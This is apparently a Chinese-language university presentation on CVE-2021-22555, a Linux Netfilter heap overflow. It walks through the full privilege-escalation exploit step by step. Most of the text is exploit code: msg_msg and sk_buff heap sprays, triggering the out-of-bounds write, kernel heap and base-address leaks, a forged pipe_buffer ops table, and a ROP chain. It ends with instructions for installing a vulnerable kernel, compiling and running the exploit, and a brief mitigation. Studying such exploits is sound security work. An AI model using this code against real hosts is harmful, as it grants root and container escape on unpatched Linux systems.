题目

题目题目

彭雨昂

武汉大学国家网络安全学院

2021 年 10 月 20 日

七月中旬，CVE-2021-22555 被公开披露，该漏洞在 KCTF 中被用于攻击 kubernetes pod 容器实现虚拟化逃逸。该漏洞的产生是由于 Linux Netfilter 模块在实现 IPT_SO_SET_REPLACE（或 IP6T_SO_SET_REPLACE）setsockopt 时存在堆越界写入漏洞，导致本地用户可以通过用户命名空间获得 **root 权限进而实现虚拟化逃逸**。

- 漏洞触发：该漏洞自 Linux 内核 v2.6.19-rc1 在 net/netfilter/xtables.c 中引入，当 IPT_SO_SET_REPLACE 或者 IP6T_SO_SET_REPLACE 在兼容模式下调用时，内核结构需要从 32 位转换为 64 位，由于错误计算转换大小,，致在调用 xt_compat_target_from_user() 函数时越界写入一些 0 字节，进而导致破坏相邻堆块结构。
- 可利用性：可以通过部分覆盖结构的 m_list->next 指针 msg，msg 并实现 UAF 来利用此漏洞。这足以在绕过 KASLR，SMAP 和 SMEP 的同时获得内核代码执行。

- 程序漏洞存在与内核源码/kernel/net/netfilter/x_tables 中的 xt_compat_target_from_user 函数中
- 程序逻辑为构造 8 字节对齐缓冲区，此处 target->targetsize 用来指定 t->data 实际使用长度（有可能非 8 字节对齐），并将不足 8 字节的剩余空间清空
- 在实际实现过程中，分配 t->data 缓冲区阶段，并没有考虑 8 字节对齐问题（直接分配实际使用大小）
- 如果 target->targetsize 并非 8 字节对齐，此处将溢出覆盖 pad 字节 0

```
1  void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr, unsigned int *size) {
2     const struct xt_target *target = t->u.kernel.target;
3     struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *) t;
4     int pad, off = xt_compat_target_offset(target);
5     // ...
6     pad = XT_ALIGN(target->targetsize) - target->targetsize;
7     if (pad > 0)
8        memset(t->data + target->targetsize, 0, pad);
9     // ...
10 }
```

sendmsg 堆喷

内核使用 alloc_msg 函数为用户开辟消息缓冲区，其函数原型为

```
1 // len为用户消息长度
2 static struct msg_msg *alloc_msg(size_t len)
```

该函数做的事情为：

- 比较用户消息长度与 DATALEN_MSG(DATALEN_MSG+sizeof(struct msg_msg) == one_page_size) 大小，取小值
- 为消息队列开辟合适空间，这里相当于使用了一个可变长度数组用于存储用户数据，后面讲到 msg_msg 结构体会详细解释
- 在以上流程中存在一种特殊情况，即如果用户待发送消息过长，大于 DATALEN_MSG，那么在这里会为 msg->next 开辟空间，用于存储剩余消息，不断循环，直至可以容纳全部消息
- 指向消息队列中的另一条消息
- 如果当前 msg_msg 不足以容纳全部的用户消息，可以使用 next 链表管理用户剩余消息

创建 4096 个消息队列

首先，我们使用 msgget() 初始化了很多消息队列（在本例中是 4096 个）。消息队列数目并没有限制，但是越多，exp 稳定性会越强

```
for (int i = 0; i < NUM_MSQIDS; i++) {
   if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
      perror("[-] msgget");
      goto err_no_rmid;
   }
}
```

为主消息内存空间填充数据

然后，我们使用 msgsnd() 为每个消息队列发送一条大小为 4096（包括 struct msg_msg 标头）的消息（将其称为主消息）。并为主消息空间填充两个标志位

- mtext[0] = MSG_TAG：用于标识该内存区域为堆喷控制
- mtext[4] = i：用于标识该内存区 id，为后面识别内存区服务

主消息空间大小为 1024bytes，标识每个 msg_msg 结构体占据一个内存页，这里主要是希望得到一个整齐的空间布局，使得 msg_msg 结构体之间尽可能相邻。在满足以上条件后将会得到如右图所示内存布局。

为辅助消息内存空间填充数据

接下来为每个消息队列添加辅助消息（即为 msg_msg->next 开辟空间），添加与同消息队列中主消息相同的标识，得到如右图所示内存布局。

```
1  printf("[*] Spraying secondary messages...\n");
2  for (int i = 0; i < NUM_MSQIDS; i++) {
3     memset(&msg_secondary, 0, sizeof(msg_secondary));
4     *(int *) &msg_secondary.mtext[0] = MSG_TAG;
5     *(int *) &msg_secondary.mtext[4] = i;
6     if (write_msg(msqid[i], &msg_secondary,
                sizeof(msg_secondary), MTYPE_SECONDARY) < 0)
7        goto err_rmid;
8  }
```

释放部分主消息

当消息被暂存时需要内核开辟缓冲区保存消息，当消息被接收后，缓冲区失去价值，会被释放。
在原内存布局中释放一些主消息，可以获得相应的 4096bytes 内存空洞，如果某个内存空洞被 xt_table_info 结构体获得，就可以利用溢出 2 字节 0 的特性进行下一步利用。

```
1   int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
2      if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
3         perror("[-] msgrcv");
4         return -1;
5      }
6      return 0;
7   }
8
9   printf("[*] Creating holes in primary messages...\n");
10  for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
11     if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
12        0)
13        goto err_rmid;
14  }
```

利用漏洞特性

使用 2 字节溢出将相邻的 msg_msg 结构体中 msg_msg->list_head->next 末尾两字节覆盖为 0，使得该主消息的辅助消息指向其他主消息的辅助消息。

```
1    printf("[*] Triggering out-of-bounds write...\n");
2    if (trigger_oob_write(s) < 0)
3       goto err_rmid;
```

效果：某处内存空间，被两个主消息引用。内存布局如右图所示。

定位发生错误的消息队列索引

在填充消息时，为每个主消息与辅助消息填充了消息队列标识，那么这里直接查看消息内存，如果主消息与辅助消息队列标识不相同，即可断定该主消息 msg_msg->list_head->next 成员被修改
如何保证遍历消息时，主消息与辅助消息不会被释放：接收消息时使用 MSG_COPY 标志。

```
1  int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
2      if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
3          0) {
4          perror("[-] msgrcv");
5          return -1;
6      }
7      return 0;
8  }
```

定位发生错误的消息队列索引

```
1   printf("[*] Searching for corrupted primary message...\n");
2   for (int i = 0; i < NUM_MSQIDS; i++) {
3      if (i != 0&& (i % HOLE_STEP) == 0)
4         continue;
5      if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
6         goto err_no_rmid;
7      if (*(int *) &msg_secondary.mtext[0] != MSG_TAG) {
8         printf("[-] Error could not corrupt any primary message.\n");
9         goto err_no_rmid;
10     }
11     if (*(int *) &msg_secondary.mtext[4] != i) {
12        fake_idx = i;
13        real_idx = *(int *) &msg_secondary.mtext[4];
14        break;
15     }
16  }
17  if (fake_idx == -1 && real_idx == -1) {
18     printf("[-] Error could not corrupt any primary message.\n");
19     goto err_no_rmid;
20  }
21  // fake_idx's primary message has a corrupted next pointer; wrongly
22  // pointing to real_idx's secondary message.
23  printf("[+] fake_idx: %x\n", fake_idx);
24  printf("[+] real_idx: %x\n", real_idx);
```

使用可控范围更广的结构体占据 msg_msg

正常来说，下一步应该是使用可控范围更广的结构体 (skb) 与带有函数指针的结构体同时占据 msg_msg，然后劫持函数指针。所以利用流程应该如下:

1. 主消息 1 放弃辅助消息 msg_msg, skb 占据 msg_msg
2. 主消息 2 放弃辅助消息 msg_msg, victim_struct 占据 msg_msg
3. 此时 skb 与 victim_struct 占据同一内存空间
4. 修改 skb 劫持 victim_struct 内函数指针
5. 触发 victim_struct 函数指针，完成流程控制

但是注意到当实现步骤 2 时，msg_msg 已经被破坏，且 skb 无法伪造 msg_msg->list_head->next 成员，如果此时主消息 2 释放 msg_msg，辅助消息会被从循环链表 msg_msg->list_head 中去除，也就是说此阶段会涉及到对于 msg_msg->list_head->next 的读写，因为存在 smap 在用户态伪造该字段无意义，内核在此处会检查到 smap 错误，利用失败，所以接下来需要绕过 SMAP

释放被重复引用的辅助消息

```
1    printf("[*] Freeing real secondary message...\n");
2    if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary), MTYPE_SECONDARY) < 0)
3       goto err_rmid;
```

skb 堆喷并伪造辅助消息

伪造辅助消息的时候需要着重关注 m_ts 字段，它表示消息长度

```
1   void build_msg_msg(struct msg_msg *msg, uint64_t
        m_list_next,
2                      uint64_t m_list_prev, uint64_t m_ts,
                           uint64_t next) {
3      msg->m_list_next = m_list_next;
4      msg->m_list_prev = m_list_prev;
5      msg->m_type = MTYPE_FAKE;
6      msg->m_ts = m_ts;
7      msg->next = next;
8      msg->security = 0;
9   }
10  int spray_skbuff(int ss[NUM_SOCKETS][2], const void
        *buf, size_t size) {
11     for (int i = 0; i < NUM_SOCKETS; i++) {
12        for (int j = 0; j < NUM_SKBUFFS; j++) {
13           if (write(ss[i][0], buf, size) < 0) {
14              perror("[-] write");
15              return -1;
16           }
17        }
18     }
19     return 0;
20  }
```

skb 堆喷并伪造辅助消息

```
1  // Reclaim the previously freed secondary message with a fake msg_msg of
2  // maximum possible size.
3  printf("[*] Spraying fake secondary messages...\n");
4  memset(secondary_buf, 0, sizeof(secondary_buf));
5  build_msg_msg((void *) secondary_buf, 0x41414141, 0x42424242,
6            PAGE_SIZE - MSG_MSG_SIZE, 0);
7  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
8     goto err_rmid;
```

泄露相邻辅助消息-> 主消息的堆地址

1. 在 skb 堆喷并伪造辅助消息中发现 m_ts 可控，也就是说我们可以通过控制 m_ts 让内核将与该辅助消息相邻的辅助消息纳入消息缓冲区中，当读取该伪造辅助消息时，可以将相邻辅助消息的消息头泄露出来。
2. 泄露相邻辅助的哪个成员：辅助消息的 msg_msg->list_head->next 指向主消息即内核堆地址，所以可以作为泄露对象。
3. 至此成功泄露相邻辅助消息-> 主消息的堆地址。

```
1  // Use the fake secondary message to read
       out-of-bounds.
2  printf("[*] Leaking adjacent secondary
       message...\n");
3  if (peek_msg(msqid[fake_idx], &msg_fake,
       sizeof(msg_fake), 1) < 0)
4     goto err_rmid;
5  // Check if the leak is valid.
6  if (*(int *)
       &msg_fake.mtext[SECONDARY_SIZE] !=
       MSG_TAG) {
7     printf("[-] Error could not leak
           adjacent secondary message.\n");
8     goto err_rmid;
9  }
10 // The secondary message contains a
       pointer to the primary message.
11 msg = (struct msg_msg *)
       &msg_fake.mtext[SECONDARY_SIZE -
       MSG_MSG_SIZE];
12 kheap_addr = msg->m_list_next;
13 if (kheap_addr & (PRIMARY_SIZE - 1))
14    kheap_addr = msg->m_list_prev;
15 printf("[+] kheap_addr: %\"PRIx64\"\n",
       kheap_addr);
```

泄露 fake 辅助消息的堆地址

1. 以上可以获得与 fake 辅助消息相邻辅助消息-> 主消息的堆地址，将此地址填充为 msg_msg->next，释放 skb 后，重新填充，那么此时 fake 辅助消息的 msg_msg->next 为相邻辅助消息-> 主消息的堆地址，内核会认为该主消息为 fake 辅助消息的一部分（如果 msg_msg 不足以容纳全部消息则为 msg_msg->next 开辟空间后继续容纳剩余消息）
2. 一次性读取大量 fake 辅助消息，内核会从 msg_msg->next 中继续读取消息，由此实现对于主消息头的泄露，主消息头中的 msg_msg->list_head->next 指向与之对应的辅助消息，即与 fake 辅助消息相邻的辅助消息，该内存减去 1024（辅助消息结构体大小）后，得到 fake 辅助消息真实地址
3. 至此，获得 fake 辅助消息真实地址，此时再次释放 skb，并将 fake 辅助消息真实地址填充为 msg_msg->list_head->next，即可在释放此辅助消息时绕过 smap

泄露 fake 辅助消息的堆地址

```
1  printf("[*] Freeing fake secondary messages...\n");
2  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
3  // Put kheap_addr at next to leak its content. Assumes zero bytes before
4  // kheap_addr.
5  printf("[*] Spraying fake secondary messages...\n");
6  memset(secondary_buf, 0, sizeof(secondary_buf));
7  build_msg_msg((void *) secondary_buf, 0x41414141, 0x42424242,
8            sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
9  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
10    goto err_rmid;
11 // Use the fake secondary message to read from kheap_addr.
12 printf("[*] Leaking primary message...\n");
13 if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
14    goto err_rmid;
15 // Check if the leak is valid.
16 if (*(int *) &msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
17    printf("[-] Error could not leak primary message.\n");
18    goto err_rmid;
19 }
20 // The primary message contains a pointer to the secondary message.
21 msg = (struct msg_msg *) &msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
22 kheap_addr = msg->m_list_next;
23 if (kheap_addr & (SECONDARY_SIZE - 1))
24    kheap_addr = msg->m_list_prev;
25 // Calculate the address of the fake secondary message.
26 kheap_addr -= SECONDARY_SIZE;
27 printf("[+] kheap_addr: %\"PRIx64\"\n", kheap_addr);
```

1. 当写入管道时，会填充 struct pipe_buffer。更重要的是，ops 将指向位于.data 段中的静态结构 anon_pipe_buf_ops：

```
1  // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/fs/pipe.c
2  static const struct pipe_buf_operations anon_pipe_buf_ops = {
3        .release = anon_pipe_buf_release,
4        .try_steal = anon_pipe_buf_try_steal,
5        .get     = generic_pipe_buf_get,
6  };
```

2. 由于.data 段和.text 段之间的差异总是相同的，因此拥有 anon_pipe_buf_ops 可以让我们计算内核基址。

我们喷射了很多 struct pipe_buffer 对象并回收了老的 struct sk_buff 数据缓冲区的位置：

由于我们仍然有来自 struct sk_buff 的引用，我们可以读取它的数据缓冲区，泄漏 struct pipe_buffer 的内容并揭示 anon_pipe_buf_ops 的地址：

```
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000
```

有了这些信息，我们现在可以找到 JOP/ROP 小工具。请注意，当从 unix 套接字读取时，我们实际上也释放了它的缓冲区：

此时 skb 与 pipe_buffer 占据同一块内存空间，重新构造 skb，劫持 pipe_buffer->ops 至本内存空间，伪造 pipe_buffer->ops->release，为第一个 ROPgadget 地址，实现执行流程控制

```
1   printf("[+] STAGE 4: Kernel code execution\n");
2   printf("[*] Spraying fake pipe_buffer objects...\n");
3   memset(secondary_buf, 0, sizeof(secondary_buf));
4   buf = (struct pipe_buffer *) &secondary_buf;
5   buf->ops = kheap_addr + 0x290;
6   ops = (struct pipe_buf_operations *) &secondary_buf[0x290];
7   #ifdef KERNEL_COS_5_4_89
8   // RAX points to &buf->ops.
9   // RCX points to &buf.
10  ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
11  #elif KERNEL_UBUNTU_5_8_0_48
12  // RSI points to &buf.
13  ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
14  #endif
15  build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
16  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
17     goto err_rmid;
18  // Trigger pipe_release().
19  printf("[*] Releasing pipe_buffer objects...\n");
20  for (int i = 0; i < NUM_PIPEFDS; i++) {
21     if (close(pipefd[i][0]) < 0) {
22        perror("[-] close");
23        goto err_rmid;
24     }
25     if (close(pipefd[i][1]) < 0) {
26        perror("[-] close");
27        goto err_rmid;
28     }
29  }
```

步骤

- 更换系统内核为 5.8.0-48-generic
  - 下载内核镜像、模块

```
sudo apt install linux-headers-5.8.0-48-generic\
linux-image-5.8.0-48-generic\
linux-modules-5.8.0-48-generic\
linux-modules-extra-5.8.0-48-generic
```

  - 打开配置文件 sudo vim /etc/default/grub
  - 修改配置 GRUB_DEFAULT=0 为

```
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu,
      with Linux 5.8.0-48-genetic"
```

  - 保存更新并重启系统

```
sudo update-grub
sudo reboot
```

  - 编译 exp

```
gcc -m32 --static
      -o exp exp.c
```

  - 运行 exp 进行内核提权

系统环境

- ubuntu 20.04
- kernel 5.8.0-48

运行结果

用户可以先通过下述命令禁用用户命名空间来缓解该漏洞带来的影响：

```
1 echo 0> /proc/sys/user/max_user_namespaces
```

该漏洞的完全修复需要用户更新内核并重启系统，修复成本较高，导致利用窗口期较长，漏洞影响与危害较大。攻击者获得内核的代码执行权限后，一般会试图修改自身或指定进程的 task->cred 来提升至 root 用户权限，并且借助切换命名空间来逃逸容器。

Thanks!